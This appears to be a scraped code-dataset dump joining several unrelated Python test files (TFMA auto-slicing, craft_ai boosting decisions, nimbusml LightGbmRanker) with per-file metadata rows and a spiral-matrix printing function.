slice_key=(('age', '[6.0, 12.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('country', 'USA'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
]
actual = auto_slicing_util.revert_slice_keys_for_transformed_features(
slices, statistics)
self.assertEqual(actual, expected_slices)
def test_remove_subset_slices(self):
input_slices = [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK')),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK'), ('sex', 'M')),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
]
expected_slices = [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK')),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
]
self.assertCountEqual(
auto_slicing_util.remove_subset_slices(input_slices), expected_slices)
self.assertCountEqual(auto_slicing_util.remove_subset_slices([]), [])
def test_is_significant_slice(self):
self.assertEqual(
auto_slicing_util._is_significant_slice(0.8, 0.001, 100, 0.9, 0.001,
1000, 'LOWER', 0.01)[0], True)
# Test zero std. deviation for overall dataset.
self.assertEqual(
auto_slicing_util._is_significant_slice(0.8, 0.001, 100, 0.9, 0, 1000,
'LOWER', 0.01)[0], True)
# Test zero std. deviation for slice.
with self.assertRaises(AssertionError):
auto_slicing_util._is_significant_slice(0.8, 0, 100, 0.9, 0, 1000,
'LOWER', 0.01)
if __name__ == '__main__':
tf.test.main()
| 34.56422
| 80
| 0.49144
| 2,281
| 22,605
| 4.567295
| 0.095572
| 0.039739
| 0.054713
| 0.086389
| 0.853715
| 0.849395
| 0.839125
| 0.830102
| 0.809944
| 0.802169
| 0
| 0.075395
| 0.412077
| 22,605
| 653
| 81
| 34.617152
| 0.708503
| 0.03017
| 0
| 0.808362
| 0
| 0
| 0.055112
| 0
| 0
| 0
| 0
| 0
| 0.04878
| 1
| 0.017422
| false
| 0
| 0.027875
| 0
| 0.04878
| 0.003484
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f226eadd1abde64f65b4924f528ba0bf0c56dbea
| 5,960
|
py
|
Python
|
tests/test_get_bulk_agent_boosting_decision.py
|
craft-ai/craft-ai-client-python
|
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
|
[
"BSD-3-Clause"
] | 14
|
2016-08-26T07:06:57.000Z
|
2020-09-22T07:41:21.000Z
|
tests/test_get_bulk_agent_boosting_decision.py
|
craft-ai/craft-ai-client-python
|
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
|
[
"BSD-3-Clause"
] | 94
|
2016-08-02T14:07:59.000Z
|
2021-10-06T11:50:52.000Z
|
tests/test_get_bulk_agent_boosting_decision.py
|
craft-ai/craft-ai-client-python
|
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
|
[
"BSD-3-Clause"
] | 8
|
2017-02-07T12:05:57.000Z
|
2021-10-14T09:45:30.000Z
|
import unittest
from craft_ai import Client, errors as craft_err
from . import settings
from .utils import generate_entity_id
from .data import valid_data
class TestGetAgentBulkBoostingDecisionSuccess(unittest.TestCase):
"""Checks that the client works properly when getting a boosting decision with
two valid agents"""
@classmethod
def setUpClass(cls):
cls.client = Client(settings.CRAFT_CFG)
cls.agent_id_1 = generate_entity_id("test_get_agent_bulk_boosting_decision")
cls.agent_id_2 = generate_entity_id("test_get_agent_bulk_boosting_decision")
def setUp(self):
self.client.delete_agent(self.agent_id_1)
self.client.create_agent(
valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_1
)
self.client.add_agent_operations(
self.agent_id_1, valid_data.VALID_OPERATIONS_SET_COMPLETE_1
)
self.client.delete_agent(self.agent_id_2)
self.client.create_agent(
valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_2
)
self.client.add_agent_operations(
self.agent_id_2, valid_data.VALID_OPERATIONS_SET_COMPLETE_1
)
def tearDown(self):
self.client.delete_agent(self.agent_id_1)
self.client.delete_agent(self.agent_id_2)
def test_get_bulk_decision_boosting_with_correct_input(self):
first_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[0]["timestamp"]
last_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[-1]["timestamp"]
timeWindow = [first_timestamp, last_timestamp]
context = {"tz": "+02:00", "presence": "occupant", "lightIntensity": 1}
payload = [
{
"entityName": self.agent_id_1,
"timeWindow": timeWindow,
"context": context,
},
{
"entityName": self.agent_id_2,
"timeWindow": timeWindow,
"context": context,
},
]
decisions = self.client.get_agent_bulk_boosting_decision(payload)
self.assertEqual(decisions[0]["_version"], "1.0.0")
self.assertEqual(decisions[0]["entityName"], self.agent_id_1)
self.assertEqual(decisions[0]["context"], context)
self.assertEqual(decisions[0]["timeWindow"], timeWindow)
self.assertEqual(decisions[0]["output"]["predicted_value"], "pink")
self.assertEqual(decisions[1]["_version"], "1.0.0")
self.assertEqual(decisions[1]["entityName"], self.agent_id_2)
self.assertEqual(decisions[1]["context"], context)
self.assertEqual(decisions[1]["timeWindow"], timeWindow)
self.assertEqual(decisions[1]["output"]["predicted_value"], "pink")
class TestGetAgentBoostingDecisionFailure(unittest.TestCase):
"""Checks that the client fails properly when getting bulk boosting decisions
with invalid parameters for agents"""
@classmethod
def setUpClass(cls):
cls.client = Client(settings.CRAFT_CFG)
cls.agent_id_1 = generate_entity_id("test_get_agent_bulk_boosting_decision")
cls.agent_id_2 = generate_entity_id("test_get_agent_bulk_boosting_decision")
def setUp(self):
self.client.delete_agent(self.agent_id_1)
self.client.create_agent(
valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_1
)
self.client.add_agent_operations(
self.agent_id_1, valid_data.VALID_OPERATIONS_SET_COMPLETE_1
)
self.client.delete_agent(self.agent_id_2)
self.client.create_agent(
valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_2
)
self.client.add_agent_operations(
self.agent_id_2, valid_data.VALID_OPERATIONS_SET_COMPLETE_1
)
def tearDown(self):
self.client.delete_agent(self.agent_id_1)
self.client.delete_agent(self.agent_id_2)
def test_get_bulk_decision_boosting_with_non_existant_agent_id(self):
"""get_agent_bulk_boosting_decision should handle valid and non existant
agents"""
first_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[0]["timestamp"]
last_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[-1]["timestamp"]
timeWindow = [first_timestamp, last_timestamp]
context = {"tz": "+02:00", "presence": "occupant", "lightIntensity": 1}
payload = [
{
"entityName": self.agent_id_1,
"timeWindow": timeWindow,
"context": context,
},
{
"entityName": self.agent_id_2,
"timeWindow": timeWindow,
"context": context,
},
{"entityName": "test_test", "timeWindow": timeWindow, "context": context},
]
decisions = self.client.get_agent_bulk_boosting_decision(payload)
self.assertEqual(decisions[0]["_version"], "1.0.0")
self.assertEqual(decisions[0]["entityName"], self.agent_id_1)
self.assertEqual(decisions[0]["context"], context)
self.assertEqual(decisions[0]["timeWindow"], timeWindow)
self.assertEqual(decisions[0]["output"]["predicted_value"], "pink")
self.assertEqual(decisions[1]["_version"], "1.0.0")
self.assertEqual(decisions[1]["entityName"], self.agent_id_2)
self.assertEqual(decisions[1]["context"], context)
self.assertEqual(decisions[1]["timeWindow"], timeWindow)
self.assertEqual(decisions[1]["output"]["predicted_value"], "pink")
self.assertIsInstance(decisions[2]["error"], craft_err.CraftAiNotFoundError)
def test_get_bulk_decision_boosting_with_empty_array(self):
"""get_agent_bulk_boosting_decision fail properly when emty array given"""
self.assertRaises(
craft_err.CraftAiBadRequestError,
self.client.get_agent_bulk_boosting_decision,
[],
)
| 41.388889
| 86
| 0.665436
| 684
| 5,960
| 5.469298
| 0.140351
| 0.054264
| 0.070569
| 0.038492
| 0.851644
| 0.847902
| 0.812082
| 0.792836
| 0.792836
| 0.792836
| 0
| 0.018024
| 0.227349
| 5,960
| 143
| 87
| 41.678322
| 0.794354
| 0.058389
| 0
| 0.700855
| 1
| 0
| 0.12
| 0.026547
| 0
| 0
| 0
| 0
| 0.188034
| 1
| 0.076923
| false
| 0
| 0.042735
| 0
| 0.136752
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
481bcfc72445402b606a6f269aee4b4e6ee49573
| 85
|
py
|
Python
|
tests/python/slice.py
|
jacereda/py2nim
|
56fc2699d31241c60bed726f59efea4bf46be238
|
[
"MIT"
] | 10
|
2020-03-10T12:01:01.000Z
|
2021-05-23T19:47:06.000Z
|
tests/python/slice.py
|
jacereda/py2nim
|
56fc2699d31241c60bed726f59efea4bf46be238
|
[
"MIT"
] | null | null | null |
tests/python/slice.py
|
jacereda/py2nim
|
56fc2699d31241c60bed726f59efea4bf46be238
|
[
"MIT"
] | 1
|
2020-07-17T11:20:56.000Z
|
2020-07-17T11:20:56.000Z
|
def t(a):
return a[2:]
a = t([1, 2, 3, 4])
print(a)
print(a[1:-1])
print(a[:2])
| 10.625
| 19
| 0.470588
| 21
| 85
| 1.904762
| 0.428571
| 0.45
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.119403
| 0.211765
| 85
| 7
| 20
| 12.142857
| 0.477612
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0
| 0.166667
| 0.333333
| 0.5
| 1
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
|
0
| 7
|
483522d447d3a04abf9d078a1ce271a3092cf5f6
| 7,792
|
py
|
Python
|
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 134
|
2018-11-01T22:15:24.000Z
|
2019-05-04T11:30:08.000Z
|
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 226
|
2019-05-07T19:00:44.000Z
|
2021-01-06T07:59:48.000Z
|
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 43
|
2019-05-15T20:19:42.000Z
|
2022-03-30T10:26:07.000Z
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# --------------------------------------------------------------------------------------------
import platform
import unittest
import numpy as np
import pandas as pd
from nimbusml import FileDataStream
from nimbusml import Pipeline, Role
from nimbusml.datasets import get_dataset
from nimbusml.ensemble import LightGbmRanker
from nimbusml.preprocessing import ToKey
from sklearn.utils.testing import assert_almost_equal
class TestLightGbmRanker(unittest.TestCase):
def test_lightgbmranker_asfilestream(self):
# Data file
file_path = get_dataset("gen_tickettrain").as_filepath()
# Pure-nimbusml paradigm
train_stream = FileDataStream.read_csv(file_path, encoding='utf-8')
# pipeline
pipeline = Pipeline([
# the group_id column must be of key type
ToKey(columns={'rank': 'rank', 'group': 'group'}),
LightGbmRanker(
feature=[
'Class',
'dep_day',
'duration'],
label='rank',
group_id='group')
])
# train
pipeline.fit(train_stream)
# test
eval_stream = FileDataStream.read_csv(file_path)
metrics, _ = pipeline.test(eval_stream)
assert_almost_equal(
metrics['NDCG@1'][0],
0.43571429,
decimal=7,
err_msg="NDCG@1 should be %s" %
0.43571429)
assert_almost_equal(
metrics['NDCG@2'][0],
0.5128226,
decimal=7,
err_msg="NDCG@2 should be %s" %
0.5128226)
assert_almost_equal(
metrics['NDCG@3'][0],
0.55168069,
decimal=7,
err_msg="NDCG@3 should be %s" %
0.55168069)
assert_almost_equal(
metrics['DCG@1'][0],
4.688759,
decimal=3,
err_msg="DCG@1 should be %s" %
4.688759)
assert_almost_equal(
metrics['DCG@2'][0],
9.012395,
decimal=3,
err_msg="DCG@2 should be %s" %
9.012395)
assert_almost_equal(
metrics['DCG@3'][0],
11.446943,
decimal=3,
err_msg="DCG@3 should be %s" %
11.446943)
def test_lightgbmranker_asdataframe(self):
# Data file
file_path = get_dataset("gen_tickettrain").as_filepath()
df = pd.read_csv(file_path, encoding='utf-8')
df['group'] = df['group'].astype(np.uint32)
e = Pipeline([ToKey(columns={'rank': 'rank', 'group': 'group'}),
LightGbmRanker() << {
Role.Feature: ['Class', 'dep_day', 'duration'],
Role.Label: 'rank', Role.GroupId: 'group'}])
e.fit(df)
metrics, _ = e.test(df)
assert_almost_equal(
metrics['NDCG@1'][0],
0.43571429,
decimal=7,
err_msg="NDCG@1 should be %s" %
0.43571429)
assert_almost_equal(
metrics['NDCG@2'][0],
0.5128226,
decimal=7,
err_msg="NDCG@2 should be %s" %
0.5128226)
assert_almost_equal(
metrics['NDCG@3'][0],
0.55168069,
decimal=7,
err_msg="NDCG@3 should be %s" %
0.55168069)
assert_almost_equal(
metrics['DCG@1'][0],
4.688759,
decimal=3,
err_msg="DCG@1 should be %s" %
4.688759)
assert_almost_equal(
metrics['DCG@2'][0],
9.012395,
decimal=3,
err_msg="DCG@2 should be %s" %
9.012395)
assert_almost_equal(
metrics['DCG@3'][0],
11.446943,
decimal=3,
err_msg="DCG@3 should be %s" %
11.446943)
def test_lightgbmranker_asdataframe_groupid(self):
# Data file
file_path = get_dataset("gen_tickettrain").as_filepath()
df = pd.read_csv(file_path, encoding='utf-8')
df['group'] = df['group'].astype(np.uint32)
e = Pipeline(
[ToKey(columns={'rank': 'rank', 'group': 'group'}), LightGbmRanker(
feature=['Class', 'dep_day', 'duration'], label='rank',
group_id='group')])
e.fit(df)
metrics, _ = e.test(df)
assert_almost_equal(
metrics['NDCG@1'][0],
0.43571429,
decimal=7,
err_msg="NDCG@1 should be %s" %
0.43571429)
assert_almost_equal(
metrics['NDCG@2'][0],
0.5128226,
decimal=7,
err_msg="NDCG@2 should be %s" %
0.5128226)
assert_almost_equal(
metrics['NDCG@3'][0],
0.55168069,
decimal=7,
err_msg="NDCG@3 should be %s" %
0.55168069)
assert_almost_equal(
metrics['DCG@1'][0],
4.688759,
decimal=3,
err_msg="DCG@1 should be %s" %
4.688759)
assert_almost_equal(
metrics['DCG@2'][0],
9.012395,
decimal=3,
err_msg="DCG@2 should be %s" %
9.012395)
assert_almost_equal(
metrics['DCG@3'][0],
11.446943,
decimal=3,
err_msg="DCG@3 should be %s" %
11.446943)
def test_lightgbmranker_asfilestream_evaltyperanking(self):
# Data file
file_path = get_dataset("gen_tickettrain").as_filepath()
# Pure-nimbusml paradigm
train_stream = FileDataStream.read_csv(file_path, encoding='utf-8')
# pipeline
pipeline = Pipeline([
# the group_id column must be of key type
ToKey(columns={'rank': 'rank', 'group': 'group'}),
LightGbmRanker(
feature=[
'Class',
'dep_day',
'duration'],
label='rank',
group_id='group')
])
# train
pipeline.fit(train_stream)
# test
eval_stream = FileDataStream.read_csv(file_path)
metrics, _ = pipeline.test(eval_stream)
assert_almost_equal(
metrics['NDCG@1'][0],
0.43571429,
decimal=7,
err_msg="NDCG@1 should be %s" %
0.43571429)
assert_almost_equal(
metrics['NDCG@2'][0],
0.5128226,
decimal=7,
err_msg="NDCG@2 should be %s" %
0.5128226)
assert_almost_equal(
metrics['NDCG@3'][0],
0.55168069,
decimal=7,
err_msg="NDCG@3 should be %s" %
0.55168069)
assert_almost_equal(
metrics['DCG@1'][0],
4.688759,
decimal=3,
err_msg="DCG@1 should be %s" %
4.688759)
assert_almost_equal(
metrics['DCG@2'][0],
9.012395,
decimal=3,
err_msg="DCG@2 should be %s" %
9.012395)
assert_almost_equal(
metrics['DCG@3'][0],
11.446943,
decimal=3,
err_msg="DCG@3 should be %s" %
11.446943)
if __name__ == '__main__':
unittest.main()
| 30.798419
| 94
| 0.472151
| 814
| 7,792
| 4.345209
| 0.133907
| 0.084818
| 0.120158
| 0.16285
| 0.856375
| 0.849025
| 0.849025
| 0.849025
| 0.849025
| 0.849025
| 0
| 0.103062
| 0.392325
| 7,792
| 252
| 95
| 30.920635
| 0.643928
| 0.06173
| 0
| 0.880383
| 0
| 0
| 0.119583
| 0
| 0
| 0
| 0
| 0
| 0.119617
| 1
| 0.019139
| false
| 0
| 0.047847
| 0
| 0.07177
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
483b51adc7073fbc1ad6765cfd3c7bc4e152cb33
| 40,003
|
py
|
Python
|
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
|
mxl1n/CodeGen
|
e5101dd5c5e9c3720c70c80f78b18f13e118335a
|
[
"MIT"
] | 241
|
2021-07-20T08:35:20.000Z
|
2022-03-31T02:39:08.000Z
|
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
|
mxl1n/CodeGen
|
e5101dd5c5e9c3720c70c80f78b18f13e118335a
|
[
"MIT"
] | 49
|
2021-07-22T23:18:42.000Z
|
2022-03-24T09:15:26.000Z
|
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
|
mxl1n/CodeGen
|
e5101dd5c5e9c3720c70c80f78b18f13e118335a
|
[
"MIT"
] | 71
|
2021-07-21T05:17:52.000Z
|
2022-03-29T23:49:28.000Z
|
# Copyright (c) 2019-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
def f_gold ( mat , r , c ) :
a = 0
b = 2
low_row = 0 if ( 0 > a ) else a
low_column = 0 if ( 0 > b ) else b - 1
high_row = r - 1 if ( ( a + 1 ) >= r ) else a + 1
high_column = c - 1 if ( ( b + 1 ) >= c ) else b + 1
while ( ( low_row > 0 - r and low_column > 0 - c ) ) :
i = low_column + 1
while ( i <= high_column and i < c and low_row >= 0 ) :
print ( mat [ low_row ] [ i ] , end = " " )
i += 1
low_row -= 1
i = low_row + 2
while ( i <= high_row and i < r and high_column < c ) :
print ( mat [ i ] [ high_column ] , end = " " )
i += 1
high_column += 1
i = high_column - 2
while ( i >= low_column and i >= 0 and high_row < r ) :
print ( mat [ high_row ] [ i ] , end = " " )
i -= 1
high_row += 1
i = high_row - 2
while ( i > low_row and i >= 0 and low_column >= 0 ) :
print ( mat [ i ] [ low_column ] , end = " " )
i -= 1
low_column -= 1
print ( )
#TOFILL
if __name__ == '__main__':
param = [
([[5, 6, 7, 8, 15, 29, 34, 47, 48, 54, 64, 64, 70, 88, 98], [4, 4, 34, 41, 43, 48, 48, 56, 64, 77, 79, 82, 85, 87, 88], [7, 8, 40, 47, 47, 48, 52, 52, 70, 73, 80, 91, 91, 92, 96], [2, 6, 9, 15, 17, 24, 27, 40, 43, 43, 45, 45, 78, 87, 97], [14, 18, 21, 21, 24, 24, 27, 34, 36, 52, 62, 62, 77, 78, 90], [7, 14, 36, 36, 52, 59, 59, 73, 74, 76, 77, 83, 84, 87, 95], [4, 24, 32, 32, 41, 46, 64, 71, 76, 78, 83, 85, 91, 97, 99], [1, 4, 4, 19, 24, 25, 27, 38, 43, 46, 52, 71, 75, 83, 94], [6, 12, 27, 28, 29, 33, 39, 44, 56, 59, 63, 72, 75, 80, 80], [2, 14, 24, 40, 45, 60, 65, 67, 70, 75, 76, 76, 81, 82, 92], [5, 19, 31, 42, 51, 53, 59, 59, 59, 63, 71, 75, 80, 83, 85], [4, 5, 8, 17, 25, 29, 30, 32, 33, 34, 38, 41, 74, 76, 94], [4, 12, 15, 16, 20, 22, 33, 35, 36, 43, 44, 55, 68, 70, 95], [21, 24, 35, 45, 50, 50, 51, 52, 52, 65, 69, 74, 75, 88, 93], [5, 18, 35, 38, 44, 57, 58, 62, 64, 66, 66, 88, 91, 93, 96]],14,10,),
([[80, -28, -94, 34, -14, 60, -14], [80, 40, -90, -94, 32, -92, 90], [-90, 82, -2, 62, -26, 62, 94], [-72, -86, -6, -48, -92, -2, -48], [86, -18, 14, -42, 44, -18, -26], [46, 22, 70, -38, -28, 6, 52], [-76, -92, 54, 2, -56, -80, -72]],4,3,),
([[0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 1]],4,5,),
([[21, 59, 77, 73, 2, 3], [59, 34, 78, 77, 81, 1], [21, 54, 27, 35, 51, 20], [24, 39, 53, 43, 66, 47], [66, 29, 44, 87, 11, 49], [28, 37, 18, 84, 62, 1]],5,5,),
([[-94, -94, -86, -84, -62, -62, -52, -52, -48, -44, -42, -38, -30, -22, -18, -16, -2, 2, 2, 6, 14, 16, 26, 32, 32, 40, 40, 42, 48, 48, 72, 72, 82, 84, 86, 96], [-98, -94, -90, -90, -84, -54, -50, -42, -42, -36, -32, -32, -28, -28, -22, -20, -20, -10, -8, -8, -4, 0, 6, 12, 16, 30, 34, 48, 52, 56, 60, 66, 82, 86, 94, 94], [-96, -84, -74, -74, -72, -66, -62, -60, -48, -36, -16, -8, -4, -2, 0, 14, 14, 20, 24, 24, 26, 28, 28, 28, 32, 38, 44, 46, 62, 64, 66, 68, 76, 88, 88, 90], [-98, -92, -90, -84, -78, -74, -70, -60, -46, -32, -22, -18, -6, -4, -2, 14, 16, 16, 30, 36, 38, 40, 48, 56, 70, 74, 80, 82, 86, 90, 90, 92, 96, 98, 98, 98], [-98, -94, -94, -88, -74, -74, -74, -54, -48, -42, -42, -38, -34, -34, -32, -26, -18, -14, 6, 8, 10, 12, 12, 20, 24, 36, 38, 40, 48, 50, 64, 68, 72, 80, 86, 88], [-98, -90, -86, -82, -76, -76, -56, -54, -50, -48, -42, -40, -38, -28, -14, 2, 6, 16, 18, 22, 24, 40, 40, 48, 52, 54, 56, 58, 62, 68, 70, 76, 76, 82, 84, 96], [-98, -92, -90, -86, -84, -78, -76, -68, -68, -60, -58, -56, -48, -46, -42, -40, -30, -14, -8, -6, -2, 2, 8, 12, 30, 38, 44, 46, 48, 66, 76, 80, 82, 84, 88, 94], [-98, -90, -72, -70, -68, -50, -46, -46, -42, -34, -26, -18, -14, -4, 10, 14, 16, 26, 36, 38, 50, 50, 52, 54, 56, 66, 68, 68, 72, 74, 80, 82, 88, 92, 94, 98], [-84, -82, -82, -80, -78, -76, -70, -68, -54, -50, -38, -24, -18, -12, -4, 0, 0, 12, 16, 20, 28, 36, 38, 42, 44, 46, 48, 54, 60, 60, 60, 70, 72, 82, 88, 94], [-96, -88, -88, -80, -78, -64, -60, -58, -56, -56, -50, -40, -38, -22, -20, -10, -10, -2, 2, 6, 6, 16, 22, 32, 34, 36, 46, 48, 60, 62, 62, 64, 80, 86, 90, 98], [-98, -92, -90, -86, -80, -68, -66, -64, -64, -62, -56, -54, -52, -50, -50, -48, -48, -32, -32, -26, -24, -22, -22, -10, 8, 10, 24, 28, 42, 46, 54, 74, 84, 88, 90, 92], [-96, -92, -88, -84, -60, -60, -60, -60, -58, -56, -56, -50, -38, -30, -28, -22, -12, -4, 0, 2, 4, 6, 8, 16, 20, 20, 22, 22, 26, 32, 42, 56, 60, 62, 80, 88], [-96, -94, -90, -86, -78, -64, -60, -52, -44, -42, -40, -32, -28, -26, -16, -16, -6, -4, 16, 20, 24, 30, 34, 40, 40, 44, 54, 60, 60, 62, 66, 74, 74, 78, 88, 90], [-98, -86, -86, -80, -70, -66, -60, -56, -50, -36, -24, -20, 8, 8, 12, 12, 12, 12, 18, 22, 22, 30, 42, 48, 54, 62, 62, 62, 70, 70, 74, 74, 84, 86, 90, 96], [-98, -90, -88, -80, -70, -64, -56, -54, -48, -46, -46, -42, -42, -40, -30, -28, -20, -20, -20, -18, -12, -2, 0, 2, 4, 8, 10, 18, 44, 54, 54, 62, 62, 66, 86, 94], [-90, -90, -90, -88, -84, -76, -76, -70, -66, -56, -42, -40, -36, -30, -20, -16, -14, -10, -8, -6, 0, 6, 16, 28, 28, 36, 38, 42, 60, 62, 62, 66, 70, 78, 80, 94], [-98, -92, -90, -88, -86, -80, -78, -66, -58, -56, -54, -50, -42, -38, -34, -28, -22, -12, -12, -10, -6, -2, 4, 8, 14, 14, 26, 26, 28, 34, 48, 56, 62, 76, 88, 90], [-98, -98, -88, -88, -88, -86, -84, -80, -76, -70, -70, -68, -38, -14, -12, -4, 2, 4, 4, 6, 16, 22, 26, 30, 32, 50, 50, 52, 52, 62, 72, 86, 86, 92, 94, 98], [-96, -90, -90, -76, -70, -60, -50, -46, -28, -18, -10, -6, -4, -2, 0, 6, 8, 12, 16, 16, 26, 28, 28, 30, 30, 34, 46, 58, 58, 62, 78, 82, 88, 90, 98, 98], [-92, -86, -86, -82, -60, -52, -50, -50, -48, -48, -42, -34, -22, -16, -10, 12, 14, 18, 22, 26, 30, 38, 40, 40, 42, 54, 58, 58, 64, 70, 70, 72, 74, 80, 80, 92], [-96, -92, -92, -92, -84, -72, -52, -50, -48, -46, -38, -24, -8, -8, -2, 2, 4, 12, 18, 34, 36, 38, 40, 44, 48, 58, 62, 66, 72, 76, 84, 84, 88, 92, 94, 96], [-96, -90, -86, -86, -74, -70, -68, -68, -64, -50, -50, -44, -44, -34, -22, -16, -14, -10, -8, -8, -6, -2, 10, 12, 16, 22, 24, 28, 44, 54, 54, 60, 66, 68, 68, 88], [-98, -88, -86, -84, -82, -80, -78, -76, -70, -68, -38, -36, -30, -26, -22, -22, -20, -16, -4, 6, 18, 20, 34, 44, 44, 50, 60, 74, 80, 80, 82, 86, 88, 90, 92, 94], [-94, -90, -88, -84, -82, -68, -54, -50, -46, -46, -38, -36, -34, -24, -14, -4, -2, 14, 22, 26, 26, 32, 34, 36, 44, 48, 64, 72, 72, 74, 74, 76, 82, 82, 84, 88], [-94, -86, -82, -74, -74, -74, -70, -60, -56, -54, -46, -36, -32, -32, -32, -28, -24, -20, -14, -14, -10, 10, 16, 38, 40, 42, 44, 58, 66, 66, 68, 68, 76, 82, 90, 98], [-98, -98, -90, -86, -82, -80, -80, -72, -68, -64, -64, -54, -40, -32, -26, -26, -22, -20, -18, -12, -8, -6, 0, 2, 12, 14, 38, 42, 64, 64, 70, 74, 92, 94, 94, 98], [-88, -78, -60, -56, -50, -40, -40, -28, -16, -14, -10, -4, 0, 8, 8, 12, 14, 16, 18, 20, 20, 20, 22, 40, 46, 46, 48, 48, 50, 50, 66, 68, 78, 80, 80, 88], [-98, -98, -92, -90, -80, -78, -70, -64, -54, -40, -32, -30, -26, -18, -8, -6, -4, 4, 10, 20, 22, 30, 36, 46, 46, 56, 60, 60, 66, 70, 72, 76, 80, 82, 88, 94], [-96, -90, -82, -78, -76, -64, -60, -58, -58, -50, -48, -48, -46, -32, -18, -12, -12, -6, 0, 8, 16, 24, 30, 34, 34, 48, 52, 56, 60, 64, 68, 70, 74, 82, 88, 96], [-88, -86, -82, -82, -74, -64, -62, -60, -56, -50, -42, -36, -28, -26, -26, -24, -18, 10, 16, 24, 26, 26, 28, 34, 42, 50, 52, 54, 56, 66, 74, 80, 82, 90, 90, 92], [-98, -88, -86, -84, -72, -72, -62, -58, -56, -52, -50, -50, -40, -40, -36, -34, -24, -20, -10, 16, 20, 22, 30, 34, 34, 36, 50, 50, 58, 64, 66, 66, 80, 82, 88, 98], [-98, -98, -90, -84, -82, -80, -78, -76, -66, -62, -48, -48, -48, -42, -32, -16, -14, -6, 14, 14, 18, 20, 22, 30, 32, 34, 36, 46, 48, 52, 56, 58, 66, 80, 84, 94], [-98, -82, -82, -76, -76, -72, -70, -66, -62, -62, -54, -46, -40, -30, -10, -6, -2, -2, 8, 34, 42, 48, 50, 50, 66, 70, 76, 80, 88, 